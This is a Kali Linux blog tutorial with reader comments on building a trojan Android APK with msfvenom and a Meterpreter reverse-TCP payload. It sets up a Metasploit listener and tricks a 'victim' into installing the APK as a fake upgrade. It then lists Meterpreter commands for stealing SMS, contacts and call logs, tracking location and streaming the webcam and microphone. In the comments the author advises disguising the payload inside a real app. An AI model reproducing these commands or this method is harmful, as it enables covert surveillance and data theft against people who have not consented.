• Skip to primary navigation
  • Skip to main content
  • Skip to primary sidebar
KaliTut

KaliTut

Kali Linux tutorial and Linux system tips

  • Home
  • Raspberry Pi
  • Privacy Policy
  • About us

Exploit Android Using Kali Linux

Last Updated on May 20, 2021 by Walid Salame 30 Comments

This is a tutorial explaining how to hack android phones with Kali Linux

Exploit Android Using Kali Linux

Step 1: Fire-Up Kali:
Open a terminal, and make a Trojan .apk You can do this by typing :

msfvenom -p android/meterpreter/reverse_tcp
LHOST=192.168.0.112
LPORT=6227 R > andi.apk

LHOST=192.168.0.112 ( Change the IP with your own IP address ) To find your own IP type  in terminal

ifconfig

LPORT=6227 ( you can chose any port you want but make sure it’s not used )
You can also hack android on WAN i.e. through Internet by using your Public/External IP in the LHOST and by port forwarding

msfvenom -p android

Step 2: Open Another Terminal:
Open another terminal while the apk file is being produced.
start metasploit console, by typing :

msfconsole
msfconsole

Step 3: Set-Up a Listener:

exploit-multi-handler

After it loads(it will take some time), load the multi-handler exploit by typing :

use exploit/multi/handler

Set up a (reverse) payload by typing :

set payload android/meterpreter/reverse_tcp

To set L host & L Port type :

set LHOST 192.168.0.4
set LPORT 6227

(Even if you are hacking on WAN type your private/internal IP here not the public/external)

set payload android

Step 4: Exploit!
to start the listener type:

exploit

Copy the application that you made (adri.apk) from the root folder to you android phone.
or send it to the victim using Uploading services like Dropbox or any sharing website you may like.
Let the Victim install the andri app(as he would think it is meant to upgrade some features on his phone)
However, the option of allowance for Installation of apps from Unknown Sources should be enabled (if not) from the security settings of the android phone to allow the Trojan to install.
And when the victim install your app >>>

exploit android

Step 5: have fun !
Type help to get a list of the available commend :

help
android hacking commands

and lets say we typed webcam_stream
There comes the Meterpreter prompt:

android webcam_stream

here is a list of all the commands

[tab]
[content title=”File system”]
Command       Description
    ——-       ———–
    cat                 Read the contents of a file to the screen
    cd                  Change directory
    checksum      Retrieve the checksum of a file
    dir                  List files (alias for ls)
    download      Download a file or directory
    edit               Edit a file
    getlwd          Print local working directory
    getwd           Print working directory
    lcd              Change local working directory
    lpwd            Print local working directory
    ls                 List files
    mkdir          Make directory
    mv              Move source to destination
    pwd            Print working directory
    rm              Delete the specified file
    rmdir          Remove directory
    search        Search for files
    upload        Upload a file or directory
[/content]
[content title=”Networking”]
    Command       Description
    ——-       ———–
    ifconfig       Display interfaces
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route           View and modify the routing table
[/content]
[content title=”System”]
 Command       Description
    ——-       ———–
    execute        Execute a command
    getuid          Get the user that the server is running as
    localtime     Displays the target system’s local date and time
    ps                List running processes
    shell            Drop into a system command shell
    sysinfo        Gets information about the remote system, such as OS
[/content]
[content title=”Webcam”]
Command        Description
    ——-        ———–
    record_mic          Record audio from the default microphone for X seconds
    webcam_chat       Start a video chat
    webcam_list        List webcams
    webcam_snap     Take a snapshot from the specified webcam
    webcam_stream   Play a video stream from the specified webcam

[/content]
[content title=”Android”]
   Command           Description
    ——-           ———–
    activity_start         Start an Android activity from a Uri string
    check_root            Check if device is rooted
    dump_calllog        Get call log
    dump_contacts      Get contacts list
    dump_sms             Get sms messages
    geolocate                Get current lat-long using geolocation
    hide_app_icon        Hide the app icon from the launcher
    interval_collect      Manage interval collection capabilities
    send_sms               Sends SMS from target session
    set_audio_mode     Set Ringer Mode
    sqlite_query           Query a SQLite database from storage
    wlan_geolocate    Get current lat-long using WLAN information
[/content]
[/tab]

Filed Under: Android pentesting tools

Comments

  1. Unknown says

    December 30, 2015 at 5:21 am

    how to bind upgrader.apk to a real application. So that when the user downloads the app, it seems like a real app and thus does not create any doubt in the user mind?

    Reply
  2. Walid Salame says

    December 30, 2015 at 7:36 pm

    for that you need to decompress the real app apk file and add your own codes for spying and make the new apk look like an upgrade …
    you what you really need is android programming

    Reply
  3. Anonymous says

    March 29, 2016 at 5:06 pm

    Thx! ☺

    Reply
  4. Walid Salame says

    March 30, 2016 at 11:13 am

    welcome 🙂

    Reply
  5. Unknown says

    May 13, 2016 at 10:48 am

    Hello bro thanks for this tutorial but i need help please can u help me this was a great post now my problem is that now i know how to control my phone as per this post but the thing is now i want to know how to control my phone when it is using other network like my phone sim data .. Network so how should i do it please bro can u make a new tutorial explaining this perfectly i mean explaining how to control android when it is on other network please it is my request to u

    Reply
    • j'aide says

      November 11, 2020 at 5:30 pm

      il faut sur tu utilise ngrok

      Reply
  6. Walid Salame says

    May 13, 2016 at 4:14 pm

    i will try to make a tutorial for that … need sometime

    Reply
  7. Unknown says

    October 12, 2016 at 3:26 pm

    Hi Bro,
    I created exploit file on kali linux 2016.1
    And then send it through sharing websites then I installed it on my android phone and I didn't get meterpreter ccommand . I can show u that problems by connecting to u r pC using team viewer.

    Reply
  8. Unknown says

    October 12, 2016 at 3:30 pm

    I appreciate ur answers ihave tried this
    for over 5m on the tried and failed tried and failed then I Google but nothing I found

    Reply
  9. Unknown says

    December 15, 2016 at 11:11 pm

    why you set 2 different payload at the first you set up for android and the second is for windows ?

    Reply
  10. Walid Salame says

    December 31, 2016 at 9:56 am

    your phone and your computer must be in the same network . or you need to use a public IP for your computer

    Reply
  11. [email protected] says

    February 1, 2017 at 8:48 pm

    hi brother please tell me how to attach and join the apk with a photo or video or any website in order to send it to my android as photo for exemple; thank for your answer

    Reply
  12. [email protected] says

    February 1, 2017 at 8:48 pm

    hi brother;wanna know please how to How to join and attach the apk with a photo or video or siteweb in order to send it to my android

    Reply
  13. Unknown says

    April 1, 2017 at 8:02 pm

    As i like this article.Thanks for sharing it.I am quit basic in this.but what or which app we send to the victim so that we can gather info for our listener port.

    Reply
  14. Unknown says

    September 7, 2017 at 9:12 pm

    hi. thanks for this tutorial. why does not install on android phone?

    Reply
  15. Utsav Patel says

    September 7, 2017 at 9:12 pm

    everything is fine at last ..my apk is blind with msf…all set but when i enter dump_callog or anyother command it give me a error operation failed 1
    plz help me!!!

    Reply
  16. Walid Salame says

    September 7, 2017 at 9:19 pm

    make sure to let your phone install app from unknown source

    Reply
  17. Walid Salame says

    September 7, 2017 at 9:19 pm

    The apk file we made !

    Reply
  18. Unknown says

    May 24, 2018 at 7:37 pm

    got the same error and coudnt find any soloution

    Reply
  19. ulongjep says

    April 6, 2020 at 7:55 pm

    I tried to run this, but it was error (2020.1)

    meterpreter> webcam_snap
    [*] Starting …
    [*] Stopped
    [-] webcam_start: Operation failed: 1

    Reply
  20. MK says

    July 16, 2021 at 12:52 pm

    Hi brothers
    I managed to create the application and even install on the target phone but the meterpreter session does not open. Thank you for your reply.

    Reply
    • admin says

      July 16, 2021 at 7:25 pm

      what you get when you try to open meterpreter session ?

      Reply
  21. jackie says

    July 29, 2021 at 12:18 am

    hy bro. i have a probleme and i hope u fix this for me.when i put the file apk in the first time. i must put my file apk that i have

    Reply
    • admin says

      July 29, 2021 at 10:49 pm

      I’m sorry i didn’t really understand what you mean

      Reply
  22. Soham says

    November 21, 2021 at 3:57 am

    Hello brother , I tried this code but…my meterpreter session doesn’t starts. I’ve searched for it and got my answer … basically I need to first use exploit command and then later install the app, so it works properly till Sending stage (somebyte) to ip. But recently if I try again , after entering exploit -j command it goes again back to …msf exploit(handler) .
    Nothing really works now. Please help 🥺

    Reply
  23. Hackpro says

    December 2, 2021 at 5:52 am

    Only works on Android 7.0 and below

    Reply
  24. phil says

    December 15, 2021 at 9:41 pm

    only work on android 7 and < !!!??
    is that true ?

    Reply
  25. pruthviraj says

    February 28, 2022 at 1:31 pm

    cant find apk in root folder

    Reply
  26. RAVEN says

    January 22, 2023 at 12:08 pm

    Was the phone a vm? Because if I try it it’s jot working

    Reply
  27. RAVEN says

    January 22, 2023 at 12:09 pm

    Was the phone a vm? Because if I try it it’s not working

    Reply

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Follow us

  • Facebook
  • Twitter
  • YouTube

Categories

  • Android pentesting tools
  • Arduino
  • Books
  • Darknet
  • database
  • General
  • Github Tools
  • Hacking
  • Kali Linux
  • Linux
  • Linux Commands
  • Network Administrator
  • Penetration Testing
  • Penetration Testing Tools
  • PowerShell
  • Raspberry Pi
  • resources
  • Review
  • Termux
  • Tutorials
  • Ubuntu
  • Uncategorized
  • Video Tutorials
  • vmware
  • WiFi Adapter
  • WiFi Pentesting
  • Wireless Router
  • Wireshark

Recent Posts

  • Hijacked Wi-Fi? Thorough explanation of hacking techniques
  • Windows PowerShell tutorial for beginners
  • Learn to Hack Steps from Beginner to Hacker
  • PowerShell Tutorial – GUIDE introduction with basics
  • Top Hacking Tools
  • Home
  • About us
  • Privacy Policy
  • Affiliate disclaimer

Copyright © 2023